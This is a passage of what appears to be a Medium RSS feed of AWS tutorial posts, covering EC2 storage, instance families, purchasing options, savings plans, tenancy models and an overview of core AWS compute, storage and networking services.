results.</li></ul><h4><strong>Encryption</strong>:</h4><ul><li>EBS supports encryption using <strong>AWS KMS</strong>.</li><li>Instance store <strong>does not support encryption</strong> natively.</li></ul><h4><strong>Resizing</strong>:</h4><ul><li>EBS volumes can be resized live.</li><li>Instance store size is fixed at launch and <strong>cannot be modified</strong>.</li></ul><h3>Conclusion</h3><p>Understanding EC2 storage options helps you make better choices for performance, durability, and security. Whether you’re using EBS for persistent data or instance store for temporary speed, knowing how they work is key to designing efficient infrastructure.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73c56c22a503" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breakdown of EC2 Instances, Pricing Options, and Tenancy]]></title>
            <link>https://medium.com/@L1lith/breakdown-of-ec2-instances-pricing-options-and-tenancy-8599a7027a73?source=rss-afc36996bc63------2</link>
            <guid isPermaLink="false">https://medium.com/p/8599a7027a73</guid>
            <category><![CDATA[aws-pricing-models]]></category>
            <category><![CDATA[cloud-services]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[aws-ec2]]></category>
            <dc:creator><![CDATA[L1lith]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 21:55:19 GMT</pubDate>
            <atom:updated>2025-07-27T21:55:19.150Z</atom:updated>
            <content:encoded><![CDATA[<p>Amazon EC2 (Elastic Compute Cloud) lies at the core of AWS’s compute services, offering scalable virtual servers that support a wide variety of workloads — from small web applications to high-performance scientific computing. To use EC2 effectively, it’s essential to understand the different <strong>instance types</strong>, <strong>purchasing options</strong>, <strong>savings plans</strong>, and <strong>tenancy models</strong>. These components not only impact the technical architecture but also determine performance, flexibility, and cost efficiency.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/0*hY_9Lehh9l2Lz2-c.png" /></figure><h3>EC2 Instance Types: Classification and Use Cases</h3><p>Amazon EC2 provides a wide range of instance types designed to accommodate various workload requirements. These instances combine <strong>different configurations of CPU, memory, storage, and networking resources</strong>. Choosing the appropriate instance type is essential for achieving optimal performance and cost efficiency.</p><h4>Naming Convention of EC2 Instance Types</h4><p>EC2 instance types follow a consistent naming structure composed of multiple parts:</p><pre>[Instance Family][Generation][Optional Attribute].[Size]</pre><ul><li><strong>Instance Family</strong>: A single letter indicating the purpose of the instance, such as:</li><li>M for General Purpose</li><li>C for Compute Optimized</li><li>R for Memory Optimized</li><li>D for Storage Optimized</li><li><strong>Generation</strong>: A number that represents the version of the instance type. Newer generations typically offer better performance and efficiency.</li><li><strong>Optional Attribute</strong>: Sometimes a letter is added to indicate special features. For example, n indicates enhanced networking.</li><li><strong>Size</strong>: Appears after the dot and defines the hardware size of the instance. Common sizes include nano, micro, small, medium, large, xlarge, 2xlarge, and so on.</li></ul><p><strong>Example</strong>: c5n.xlarge</p><ul><li>c: Compute Optimized</li><li>5: Fifth generation</li><li>n: Enhanced networking</li><li>xlarge: Instance size</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PHRXAeMaecBGmuvo.png" /></figure><h4>EC2 Instance Families</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*85ydQGs4gB73gKMi.png" /></figure><p><strong>1.General Purpose Instances</strong></p><p>General purpose instances provide a balanced ratio of compute, memory, and networking resources. They are suitable for a wide variety of workloads that do not require specialized hardware.</p><p><strong>Use cases</strong>: Web servers, code repositories, application development environments.</p><p><strong>Examples</strong>: M7g, M6g, M6i, M5, T4g, T3, T2, A1.</p><p>…</p><p><strong>2.Compute Optimized Instances</strong></p><p>These instances offer high-performance processors and are designed for compute-intensive workloads.</p><p><strong>Use cases</strong>: Batch processing, media transcoding, high-performance web servers, HPC workloads, ad servers, game servers, machine learning inference.</p><p><strong>Examples</strong>: C7g, C7gn, C6i, C6g, C5n, C5, C4.</p><p>…</p><p><strong>3.Memory Optimized Instances</strong></p><p>Memory optimized instances provide a high ratio of memory to CPU, making them ideal for workloads that process large datasets in memory.</p><p><strong>Use cases</strong>: In-memory databases, real-time big data analytics, high-performance computing.</p><p><strong>Examples</strong>: R7g, R6g, R5, R5n, X1e, z1d, X2idn.</p><p>…</p><p><strong>4.Storage Optimized Instances</strong></p><p>Designed for workloads that require high, sequential read and write access to very large data sets on local storage.</p><p><strong>Use cases</strong>: Large transactional databases, data warehousing, distributed file systems, log processing.</p><p><strong>Examples</strong>: D2, D3, D3en, H1, I3, I4i.</p><p><strong>5.Accelerated Computing Instances</strong></p><p>These instances include hardware accelerators such as GPUs or FPGAs for workloads that require massive parallel processing capabilities.</p><p><strong>Use cases</strong>: Machine learning training and inference, scientific simulations, graphics rendering, floating-point operations.</p><p><strong>Examples</strong>: P4, P3, G5, G4ad, F1, VT1, DL1, Trn1.</p><p>…</p><p><strong>6.HPC Optimized Instances</strong></p><p>High Performance Computing (HPC) instances are engineered to deliver the best performance for tightly-coupled compute-intensive tasks.</p><p><strong>Use cases</strong>: Large-scale scientific simulations, weather modeling, computational fluid dynamics, deep learning training.</p><p><strong>Examples</strong>: Hpc6id, Hpc6a.</p><p>…</p><p><strong>7.Nitro-Based Instances</strong></p><p>These instances use the AWS Nitro System, which offloads virtualization functions to dedicated hardware, improving security and performance. Nitro also enables bare-metal instances.</p><p><strong>Applicable families</strong>: C5, C5n, M5, R5, T3.</p><p>…</p><p><strong>8.ARM-Based Instances</strong></p><p>These instances are powered by AWS Graviton processors (ARM architecture) and offer significant performance-per-dollar benefits for scale-out workloads.</p><p><strong>Use cases</strong>: Web servers, containerized applications, microservices.</p><p><strong>Examples</strong>: A1, M6g.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sqbDG92Qm5LPvXrK.jpg" /></figure><h3>EC2 Purchasing Options, Saving Plans, and Tenancy Models</h3><p>Amazon EC2 provides multiple purchasing models and tenancy options to help optimize cost and match infrastructure to workload requirements. Choosing the appropriate model is essential for achieving performance goals within budget constraints.</p><h4>1. EC2 Purchasing Options</h4><p>AWS offers several purchasing models for EC2 instances:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NAW9bHcwLMeC6SNP.png" /></figure><h4><strong>a. On-Demand Instances</strong></h4><ul><li><strong>Description</strong>: Default purchasing model with no long-term commitment.</li><li><strong>Billing</strong>: Pay per second (or hour) for compute capacity.</li><li><strong>Use cases</strong>: Applications with unpredictable workloads, development and test environments, short-term or spiky jobs.</li></ul><h4>b. Reserved Instances (RIs)</h4><ul><li><strong>Description</strong>: Users commit to one or three years of usage for a specific instance type in a chosen region.</li><li><strong>Benefit</strong>: Up to 75% discount compared to on-demand pricing.</li><li><strong>Best suited for</strong>: Predictable workloads running continuously over a long period.</li></ul><blockquote><strong>RI Payment Options:</strong></blockquote><blockquote><strong>All Upfront</strong>: Full payment at reservation time; highest discount.</blockquote><blockquote><strong>Partial Upfront</strong>: Partial payment upfront + monthly installments; moderate discount.</blockquote><blockquote><strong>No Upfront</strong>: No initial payment; charged monthly at a reduced rate; lowest discount among the three.</blockquote><p><em>Note: All RI options deliver the same performance and availability.</em></p><h4>c. Spot Instances</h4><ul><li><strong>Description</strong>: Use unused EC2 capacity at significantly reduced prices — up to 90% off.</li><li><strong>Billing</strong>: Bidding model; AWS can reclaim instances with a 2-minute warning.</li><li><strong>Use cases</strong>: Fault-tolerant, flexible workloads such as big data processing, batch jobs, and CI/CD pipelines.</li><li><strong>Caution</strong>: Spot instances are not suitable for critical workloads that require guaranteed availability.</li></ul><h4>d. Dedicated Hosts</h4><ul><li><strong>Description</strong>: Provides physical servers fully dedicated to a single customer. You are billed for the host itself, rather than individual instances.</li><li><strong>Use cases</strong>: Licensing-bound software (e.g., BYOL for Windows or Oracle), regulatory compliance requiring physical isolation, legacy workloads.</li><li><strong>Benefits</strong>:</li><li>Full control over instance placement and host allocation</li><li>Visibility into sockets, cores, and host ID</li><li>Can reduce licensing costs by allowing license reuse</li></ul><p><em>Note: Dedicated Hosts differ from Dedicated Instances by giving more control and visibility at the host level. Pricing is on a per-host basis, not per-instance.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZyPuX1yqp5yqmdDW" /></figure><h4>2. EC2 Savings Plans</h4><p>Savings Plans are a flexible pricing model offering discounted compute rates in exchange for a 1- or 3-year usage commitment, measured in $/hour. Unlike Reserved Instances, they provide more flexibility across compute services.</p><h4>a. Compute Savings Plan</h4><ul><li><strong>Scope</strong>: Applies across EC2, Fargate, and Lambda.</li><li><strong>Flexibility</strong>: Any region, instance family, size, OS, and tenancy.</li><li><strong>Best for</strong>: Users seeking flexibility across different compute services and regions.</li></ul><h4>b. EC2 Instance Savings Plan</h4><ul><li><strong>Scope</strong>: Applies to a specific EC2 instance family within a region.</li><li><strong>Flexibility</strong>: Allows changing size within the same family (e.g., from m5.large to m5.2xlarge).</li><li><strong>Best for</strong>: Workloads with consistent usage patterns within a known family and region.</li></ul><h4>c. SageMaker Savings Plan</h4><ul><li><strong>Scope</strong>: Automatically applies to Amazon SageMaker instance usage.</li><li><strong>Benefit</strong>: Up to 64% savings compared to on-demand SageMaker pricing.</li><li><strong>Flexibility</strong>: Applies regardless of instance family or region.</li></ul><h4>Savings Plan Payment Options</h4><ul><li><strong>All Upfront</strong></li><li><strong>Partial Upfront</strong></li><li><strong>No Upfront</strong></li></ul><p><em>Same structure as Reserved Instances. Users should assess their cash flow and long-term workload expectations before committing.</em></p><p><em>Note: Savings Plans are non-refundable and cannot be canceled or modified once purchased.</em></p><p><strong>Recommendation</strong>: Use the <strong>AWS Cost Explorer</strong> to:</p><ul><li>Analyze historical usage</li><li>Generate commitment recommendations</li><li>Track plan utilization</li><li>Manage active savings plans</li></ul><h3>3. EC2 Tenancy Models</h3><p>Tenancy defines how EC2 instances are deployed on physical hardware. It affects isolation, compliance, and pricing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/0*dVobWP07o-JzSMEm" /></figure><h4>a. Shared Tenancy (Default)</h4><ul><li><strong>Description</strong>: Instances from multiple AWS accounts run on the same physical host with strong isolation via virtualization.</li><li><strong>Use cases</strong>: General-purpose workloads without strict compliance requirements.</li><li><strong>Cost</strong>: Most economical option.</li></ul><h4>b. Dedicated Tenancy</h4><p>Offers complete hardware isolation from other AWS customers. Suitable for sensitive workloads or regulatory compliance.</p><p><strong>i. Dedicated Hosts</strong></p><ul><li><strong>Billing</strong>: Entire physical server is rented.</li><li><strong>Benefit</strong>: Full visibility and control over instance placement.</li><li><strong>Use cases</strong>: Licensing scenarios (e.g., BYOL for Windows or Oracle), strict compliance.</li></ul><p><strong>ii. Dedicated Instances</strong></p><ul><li><strong>Billing</strong>: Per-instance basis; higher cost than shared tenancy but no need to manage full host capacity.</li><li><strong>Benefit</strong>: Logical separation from other tenants at the host level.</li></ul><p><em>Note: Both options offer similar performance and isolation, but differ in pricing model and host management.</em></p><h4>Key Considerations</h4><ul><li><strong>Purchasing Model</strong>: Determines cost flexibility.</li><li><strong>Savings Plans vs Reserved Instances</strong>: Choose based on workload predictability and infrastructure flexibility needs.</li><li><strong>Tenancy</strong>: Should be selected based on isolation and compliance requirements.</li><li><strong>Finality</strong>: Tenancy cannot be changed after instance launch — plan ahead based on constraints.</li></ul><h3>Conclusion</h3><p>Designing efficient and scalable workloads on EC2 requires more than just launching an instance. A deep understanding of instance families, purchasing models, savings plans, and tenancy options enables architects to align technical requirements with business constraints such as cost, compliance, and availability.</p><p>Choosing the right combination — whether it’s selecting compute-optimized instances for intensive processing or applying a savings plan to reduce long-term costs — can significantly improve the performance and sustainability of your AWS architecture.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8599a7027a73" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering AWS from the Ground Up]]></title>
            <link>https://medium.com/@L1lith/mastering-aws-from-the-ground-up-4855986c94dc?source=rss-afc36996bc63------2</link>
            <guid isPermaLink="false">https://medium.com/p/4855986c94dc</guid>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-service]]></category>
            <dc:creator><![CDATA[L1lith]]></dc:creator>
            <pubDate>Sat, 26 Jul 2025 14:22:35 GMT</pubDate>
            <atom:updated>2025-07-26T15:23:47.786Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*P3JXoLsyVeK2qjHe.jpeg" /></figure><p>In the early days of web infrastructure, running an application meant buying physical servers, setting up your own data center, and hoping your traffic predictions were right. Too much capacity meant wasted money. Too little meant downtime. Scaling was slow, expensive, and rigid.</p><p>The idea of abstracting infrastructure — renting compute and storage instead of owning it — wasn’t new. Concepts like virtualization and utility computing had already been explored in academic and enterprise environments. But the industry lacked a provider that could turn this idea into a usable, scalable, developer-friendly platform.</p><p>That changed in the mid-2000s. In 2006, Amazon launched Amazon Web Services (AWS), offering storage (S3) and compute (EC2) as pay-as-you-go services accessible through APIs. It was a turning point: developers could now provision infrastructure in minutes instead of weeks. AWS wasn’t the first to imagine cloud computing — but it was the first to make it real at scale.</p><p>Since then, AWS has grown into the foundation for many modern applications, supporting everything from early-stage prototypes to large-scale production systems. But with hundreds of services available, it’s easy to feel overwhelmed.</p><p>This series will cut through the noise. We’ll start with the essentials — compute, storage, networking — and build up a clear, technical understanding of how to architect reliable, secure systems in the AWS cloud.</p><h3>What is Cloud Computing?</h3><p>At its core, <strong>cloud computing</strong> is the on-demand delivery of IT resources — such as servers, storage, databases, and networking — over the internet, with pay-as-you-go pricing. Instead of buying, owning, and maintaining physical hardware, you use services provided by a cloud provider when you need them.</p><p>The key characteristics that define cloud computing are:</p><ul><li><strong>On-demand self-service</strong>: Provision resources like VMs or databases without human interaction.</li><li><strong>Broad network access</strong>: Accessible over the internet from anywhere.</li><li><strong>Resource pooling</strong>: Providers use multi-tenant models to serve multiple customers with shared infrastructure.</li><li><strong>Rapid elasticity</strong>: Resources scale automatically to match demand.</li><li><strong>Measured service</strong>: You only pay for what you consume (compute hours, storage used, bandwidth, etc.).</li></ul><p>This model allows organizations to reduce capital expenditures, move faster, and shift from a fixed-cost to a variable-cost infrastructure strategy. It also encourages modern architectural patterns like microservices, serverless, and event-driven systems.</p><h3>Cloud Deployment Models</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/0*42Y8_XYJf0vww9fp.png" /></figure><p>Not all clouds are the same. Depending on organizational needs, there are several deployment models:</p><ul><li><strong>Public Cloud: </strong>The most common model. Services are owned and managed by a third-party provider (e.g., AWS, Azure, GCP) and delivered over the internet. Ideal for scalability and cost-efficiency.</li><li><strong>Private Cloud: </strong>Infrastructure is dedicated to a single organization, either hosted on-premises or by a provider. Offers more control and isolation, often used in regulated industries.</li><li><strong>Hybrid Cloud: </strong>Combines public and private clouds, allowing data and applications to move between them. Useful for gradual migration, legacy system integration, or compliance constraints.</li><li><strong>Multi-Cloud: </strong>An organization uses services from multiple cloud providers to avoid vendor lock-in or leverage best-of-breed services (e.g., AWS for compute, GCP for ML, Azure for identity).</li></ul><h3>Cloud Service Models: IaaS, PaaS, and SaaS</h3><p>Cloud computing is not a one-size-fits-all solution. Depending on the level of control, flexibility, and abstraction needed, services are categorized into different models. The three primary models are Infrastructure as a Service (IaaS), Platform as a Service (PaaS), and Software as a Service (SaaS).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YIlNyCRCdk_1vvgJ.png" /></figure><h4>Infrastructure as a Service (IaaS)</h4><p>IaaS provides the foundational building blocks of IT infrastructure — virtual machines, storage, and networking. You are responsible for everything above the virtualization layer, including the operating system, runtime, and application logic.</p><ul><li><strong>You manage</strong>: operating system, middleware, runtime, application, and data</li><li><strong>Provider manages</strong>: physical servers, storage, networking, and virtualization</li></ul><p><strong>Examples</strong>: Amazon EC2, Azure Virtual Machines, Google Compute Engine</p><p><strong>Use case</strong>: When you need full control over your environment but want to avoid hardware management.</p><h4>Platform as a Service (PaaS)</h4><p>PaaS abstracts away the infrastructure and gives you a platform to build, test, and deploy applications. The cloud provider manages the servers, OS, and runtime, while you focus purely on code and application logic.</p><ul><li><strong>You manage</strong>: application and data</li><li><strong>Provider manages</strong>: operating system, runtime, middleware, scaling, and maintenance</li></ul><p><strong>Examples</strong>: AWS Elastic Beanstalk, Google App Engine, Azure App Service</p><p><strong>Use case</strong>: Ideal for teams that want to deploy applications quickly without handling infrastructure concerns.</p><h4>Software as a Service (SaaS)</h4><p>SaaS delivers fully managed software applications over the internet. You simply use the application; everything from infrastructure to data management is handled by the provider.</p><ul><li><strong>You manage</strong>: only user-specific settings, if any</li><li><strong>Provider manages</strong>: the full stack — application, infrastructure, maintenance, and updates</li></ul><p><strong>Examples</strong>: Gmail, Dropbox, Salesforce, AWS WorkMail</p><p><strong>Use case</strong>: Best when you want an out-of-the-box solution with no maintenance responsibility.</p><h3>AWS Core Services</h3><h3>Compute Services</h3><blockquote>Cloud infrastructure starts with compute. AWS offers multiple compute services, each designed for different levels of abstraction, scalability, and control. Whether you’re deploying traditional monoliths or containerized microservices, AWS provides options that cover bare-metal control to event-driven architectures.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YnjoO3Kob3ALOKQrA7nQEQ.png" /></figure><h4>1. Amazon EC2 (Elastic Compute Cloud)</h4><p><strong>Amazon EC2</strong> is a foundational IaaS offering that provides virtualized compute resources in the cloud. It allows fine-grained control over the instance lifecycle, networking stack, storage volumes, and security policies.</p><p><strong>Key concepts</strong>:</p><ul><li><strong>Instance Types</strong>: Optimized for compute, memory, storage, or general purpose (e.g., t4g.micro, m6a.large, c7n.2xlarge).</li><li><strong>AMI (Amazon Machine Image)</strong>: Pre-configured OS templates used to launch instances.</li><li><strong>EBS (Elastic Block Store)</strong>: Persistent block storage volumes attached to instances.</li><li><strong>Security Groups &amp; NACLs</strong>: Stateful and stateless firewalls for controlling ingress and egress.</li><li><strong>Elastic IPs</strong>: Static Public IPs tied to your account for public-facing workloads.</li></ul><p><strong>Operational Features</strong>:</p><ul><li>Supports SSH/RDP access, user-data bootstrapping, and instance metadata for configuration.</li><li>Integrates with <strong>Auto Scaling Groups (ASG)</strong> and <strong>Elastic Load Balancing (ELB)</strong> for horizontal scaling.</li><li>EC2 instances can be launched using Infrastructure as Code via CloudFormation, Terraform, or CDK.</li></ul><p><strong>Common use cases</strong>:</p><ul><li>Deploying backend applications or legacy services that require OS-level customization.</li><li>Building VMs for staging, testing, or production workloads.</li><li>Hosting services with fine-grained network and performance tuning needs.</li></ul><h4>2. AWS Lambda</h4><p><strong>Lambda</strong> is AWS’s Function-as-a-Service (FaaS) offering. It enables developers to run stateless code functions without provisioning or managing servers.</p><p><strong>Execution model</strong>:</p><ul><li>Functions are triggered by events (e.g., S3 PUT, DynamoDB stream, API Gateway request).</li><li>Code runs in isolated, ephemeral containers within milliseconds of invocation.</li><li>Each function has configurable memory (128 MB to 10 GB), and duration (up to 15 minutes per execution).</li></ul><p><strong>Key capabilities</strong>:</p><ul><li>Native support for runtimes: Python, Node.js, Java, Go, .NET, Ruby, and custom runtimes via Lambda Extensions.</li><li><strong>Provisioned Concurrency</strong> for pre-warmed functions and latency-sensitive workloads.</li><li>Integrated with IAM for fine-grained permissions (per function or resource).</li><li>Observability via CloudWatch Logs, X-Ray tracing, and structured metrics.</li></ul><p><strong>Advanced use cases</strong>:</p><ul><li>Event-driven microservices and backend APIs.</li><li>Real-time data ingestion pipelines (e.g., log normalization, image resizing).</li><li>Automated orchestration (e.g., cron-based workflows using EventBridge).</li></ul><h4>3. AWS Elastic Beanstalk</h4><p><strong>Elastic Beanstalk</strong> provides a platform abstraction on top of EC2, allowing developers to deploy applications without manually configuring servers, load balancers, or networking.</p><p><strong>How it works</strong>:</p><ul><li>You deploy an application bundle (ZIP, WAR, or Docker image).</li><li>Beanstalk provisions resources: EC2, ELB, Auto Scaling, CloudWatch, etc.</li><li>Environments can be configured via configuration files (YAML) or the console.</li></ul><p><strong>Key strengths</strong>:</p><ul><li>Supports multiple platforms: Node.js, Python, Java, .NET, Ruby, PHP, Docker, Go.</li><li>Application versioning, health checks, rolling deployments.</li><li>Access to the underlying infrastructure for customization if needed.</li></ul><p><strong>Best suited for</strong>:</p><ul><li>Fast deployment of web apps with minimal ops overhead.</li><li>Use cases where you want flexibility but not full DevOps ownership.</li><li>Teams that want to prototype or deploy apps quickly with sane defaults.</li></ul><h4>4. AWS ECS (Elastic Container Service)</h4><p><strong>ECS</strong> is a fully managed container orchestration service that natively integrates with the AWS ecosystem. It supports Docker containers and allows you to deploy and scale containerized applications.</p><p><strong>Architectural components</strong>:</p><ul><li><strong>Task Definition</strong>: A declarative JSON specification of one or more containers.</li><li><strong>Service</strong>: Maintains a desired number of task instances and handles restarts.</li><li><strong>Cluster</strong>: Logical grouping of tasks/services (can run on EC2 or Fargate).</li><li><strong>Launch types</strong>:</li></ul><blockquote><strong>EC2</strong>: Containers run on EC2 instances that you manage.</blockquote><blockquote><strong>Fargate</strong>: Serverless mode where AWS manages the compute backend.</blockquote><p><strong>Features</strong>:</p><ul><li>Deep IAM integration for per-task or per-container access control.</li><li>Integration with App Mesh, Secrets Manager, CloudWatch Logs.</li><li>Service discovery via Route 53 or ECS internal DNS.</li></ul><p><strong>Use cases</strong>:</p><ul><li>Microservices architectures with isolated services per task.</li><li>Stateless backend APIs deployed in containers.</li><li>Batch processing or workers running on schedule/event triggers.</li></ul><h4>5. AWS EKS (Elastic Kubernetes Service)</h4><p><strong>EKS</strong> provides a managed Kubernetes control plane, fully compatible with upstream Kubernetes. It simplifies Kubernetes adoption by offloading management of the API server, etcd, and control plane nodes.</p><p><strong>Architecture</strong>:</p><ul><li>You provision worker nodes using managed node groups (EC2) or serverless compute via <strong>Fargate</strong>.</li><li>Deploy using standard kubectl, Helm charts, GitOps pipelines, etc.</li><li>Control plane is isolated and automatically scaled by AWS.</li></ul><p><strong>Key integrations</strong>:</p><ul><li>IAM Roles for Service Accounts (IRSA)</li><li>EBS/EFS CSI drivers for persistent volumes</li><li>CloudWatch, Fluent Bit, and OpenTelemetry for observability</li><li>Karpenter or Cluster Autoscaler for dynamic scaling</li></ul><p><strong>When to use EKS</strong>:</p><ul><li>Teams with Kubernetes experience that need a managed solution.</li><li>Portability between cloud/on-prem via Kubernetes abstraction.</li><li>Custom networking, policies, and service meshes.</li></ul><h3>AWS Storage Services</h3><blockquote>Storing and managing data in the cloud requires choosing the right storage architecture for the workload: object, block, or file. AWS provides purpose-built storage services optimized for durability, scalability, performance, and cost.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fdMespIgUTYtCN_jobTGNQ.png" /></figure><h4>1. Amazon S3 (Simple Storage Service)</h4><p><strong>Amazon S3</strong> is an object storage service designed for storing large amounts of unstructured data. It provides high durability, horizontal scalability, and flexible access control, making it suitable for everything from backups to big data pipelines.</p><p><strong>Architecture &amp; Behavior</strong>:</p><ul><li>Data is stored in <strong>buckets</strong>, with each object consisting of data + metadata + a unique key.</li><li>Buckets are region-scoped and can have versioning, encryption, logging, and lifecycle rules.</li><li>S3 is eventually consistent by default, with strong read-after-write consistency for new objects.</li></ul><p><strong>Key Capabilities</strong>:</p><ul><li><strong>Storage classes</strong>: Standard, Intelligent-Tiering, One Zone-IA, Glacier, Deep Archive.</li><li><strong>Lifecycle management</strong>: Automatically transition data between storage classes.</li><li><strong>Event-driven workflows</strong>: Trigger Lambda functions or SNS/SQS on object-level events.</li><li><strong>Access control</strong>: IAM policies, bucket policies, ACLs, and object ownership settings.</li><li><strong>Security</strong>: Encryption at rest (SSE-S3, SSE-KMS, SSE-C) and in transit (HTTPS).</li></ul><p><strong>Common Use Cases</strong>:</p><ul><li>Storing logs, media files, backups, and application assets.</li><li>Hosting static websites (often in combination with CloudFront).</li><li>Data lakes for analytics platforms (e.g., AWS Athena, Redshift Spectrum).</li><li>Integration with serverless applications as event sources.</li></ul><h4>2. Amazon EBS (Elastic Block Store)</h4><p><strong>EBS</strong> provides persistent block-level storage volumes for use with EC2 instances. It behaves like a virtual hard disk attached to a VM, supporting both transactional and throughput-intensive workloads.</p><p><strong>Architecture</strong>:</p><ul><li>Volumes are bound to a single Availability Zone and attached to one EC2 instance at a time (multi-attach is supported in specific scenarios).</li><li>Snapshots can be used for backup, disaster recovery, or migration across AZs.</li></ul><p><strong>Key Capabilities</strong>:</p><ul><li>Volume types: gp3 (general purpose SSD), io2 (provisioned IOPS SSD), st1 (HDD throughput-optimized), and sc1 (cold HDD).</li><li>Encryption using AWS KMS.</li><li>Performance tuning: throughput, IOPS, burst settings.</li><li>Integration with CloudWatch for monitoring volume health and performance.</li></ul><p><strong>Common Use Cases</strong>:</p><ul><li>Databases and enterprise applications needing low-latency disk I/O.</li><li>Boot volumes for EC2-based systems.</li><li>Workloads requiring consistent, high-performance block storage.</li></ul><h4>3. Amazon EFS (Elastic File System)</h4><p><strong>EFS</strong> is a managed, scalable file storage service built for Linux workloads that require shared access across multiple EC2 instances or Lambda functions.</p><p><strong>Architecture</strong>:</p><ul><li>Fully POSIX-compliant and NFSv4-compatible.</li><li>Automatically grows and shrinks as files are added or removed.</li><li>Mount targets are deployed in each subnet/AZ for multi-AZ availability.</li></ul><p><strong>Key Capabilities</strong>:</p><ul><li>Performance modes: General Purpose (low latency) and Max I/O (for high throughput).</li><li>Lifecycle management with automatic tiering to Infrequent Access.</li><li>IAM and resource policies for granular access control.</li><li>Native integration with Lambda for persistent function storage.</li></ul><p><strong>Common Use Cases</strong>:</p><ul><li>Shared web content across multiple EC2 instances.</li><li>Machine learning and data science workloads needing concurrent file access.</li><li>Home directories and content management systems.</li><li>Serverless workloads needing persistent storage (via Lambda + EFS).</li></ul><h4>4. Amazon FSx (Windows File Server &amp; Lustre)</h4><p><strong>Amazon FSx</strong> provides fully managed file systems tailored to specific workloads — <strong>Windows-based enterprise environments</strong> and <strong>high-performance computing</strong>.</p><p><strong>FSx for Windows File Server</strong>:</p><ul><li>SMB protocol support, Active Directory (AD) integration, NTFS permissions.</li><li>Designed for Windows-based apps that require shared file systems.</li></ul><p><strong>FSx for Lustre</strong>:</p><ul><li>High-throughput parallel file system optimized for HPC, genomics, and ML training.</li><li>Can be linked directly to S3 for hybrid performance/cost setups.</li></ul><p><strong>Key Capabilities</strong>:</p><ul><li>Managed backups and snapshots.</li><li>Kerberos and IAM access controls.</li><li>High IOPS and low-latency performance for data-heavy workloads.</li></ul><p><strong>Common Use Cases</strong>:</p><ul><li>Lift-and-shift of Windows-based applications needing file sharing.</li><li>ML model training or media rendering using FSx for Lustre.</li><li>Enterprise home directories or user data shares.</li></ul><h4>5. Amazon S3 Glacier &amp; Glacier Deep Archive</h4><p><strong>Glacier</strong> and <strong>Glacier Deep Archive</strong> are low-cost storage classes designed for data archiving and long-term backup. While stored data is not immediately accessible, these services offer a significantly lower price point per GB.</p><p><strong>Architecture</strong>:</p><ul><li>Both are available as S3 storage classes — no need for separate infrastructure.</li><li>Lifecycle policies can automatically transition objects to archival storage.</li></ul><p><strong>Retrieval Options</strong>:</p><ul><li><strong>Glacier</strong>: Expedited (1–5 minutes), Standard (3–5 hours), and Bulk (5–12 hours).</li><li><strong>Deep Archive</strong>: Minimum 12-hour retrieval window, lowest storage cost in AWS.</li></ul><p><strong>Use Cases</strong>:</p><ul><li>Archiving compliance data (e.g., medical, financial, legal records).</li><li>Backup strategies requiring long-term retention.</li><li>Cost optimization for rarely accessed files.</li></ul><h3>AWS Networking &amp; Content Delivery Services</h3><blockquote>Cloud networking isn’t just about connectivity — it’s about isolating workloads, enforcing security, controlling routing, and optimizing performance. AWS offers a set of foundational networking services that enable you to architect secure, scalable, and global applications.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fdMespIgUTYtCN_jobTGNQ.png" /></figure><h4>1. Amazon VPC (Virtual Private Cloud)</h4><p><strong>Amazon VPC</strong> allows you to define a logically isolated network within AWS, where you can launch and manage resources (EC2, RDS, Lambda, etc.) with complete control over IP ranges, subnets, routing, and security.</p><p><strong>Architecture &amp; Core Concepts</strong>:</p><ul><li><strong>CIDR blocks</strong> define your private IP space (e.g., 10.0.0.0/16).</li><li><strong>Subnets</strong> split the VPC into smaller IP blocks, across different Availability Zones.</li><li><strong>Route Tables</strong> control how traffic flows within and outside the VPC.</li><li><strong>Internet Gateway</strong> enables outbound internet access for public subnets.</li><li><strong>NAT Gateway</strong> enables private subnets to access the internet securely.</li><li><strong>VPC Peering</strong>, <strong>Transit Gateway</strong>, and <strong>PrivateLink</strong> support inter-VPC and hybrid networking.</li></ul><p><strong>Security</strong>:</p><ul><li><strong>Security Groups</strong> (stateful): define allowed inbound/outbound traffic at the instance level.</li><li><strong>Network ACLs</strong> (stateless): control subnet-level traffic using IP rules.</li></ul><p><strong>Use Cases</strong>:</p><ul><li>Multi-tier web applications with public and private subnets.</li><li>Hybrid architectures with on-prem connectivity (via VPN or Direct Connect).</li><li>Microsegmentation for regulatory compliance and isolation.</li></ul><h4>2. AWS Route 53</h4><p><strong>Route 53</strong> is a highly available and scalable Domain Name System (DNS) service that supports both public and private hosted zones.</p><p><strong>Capabilities</strong>:</p><ul><li><strong>DNS Resolution</strong> for internal and internet-facing services.</li><li><strong>Health Checks</strong> for automated failover.</li><li><strong>Routing policies</strong>: Simple, Weighted, Latency-based, Failover, Geolocation, and Multi-Value.</li><li><strong>Domain Registration</strong> with automated renewals.</li><li><strong>Private Hosted Zones</strong> for VPC-internal DNS names.</li></ul><p><strong>Use Cases</strong>:</p><ul><li>Managing custom domains for web applications.</li><li>Performing global traffic routing and 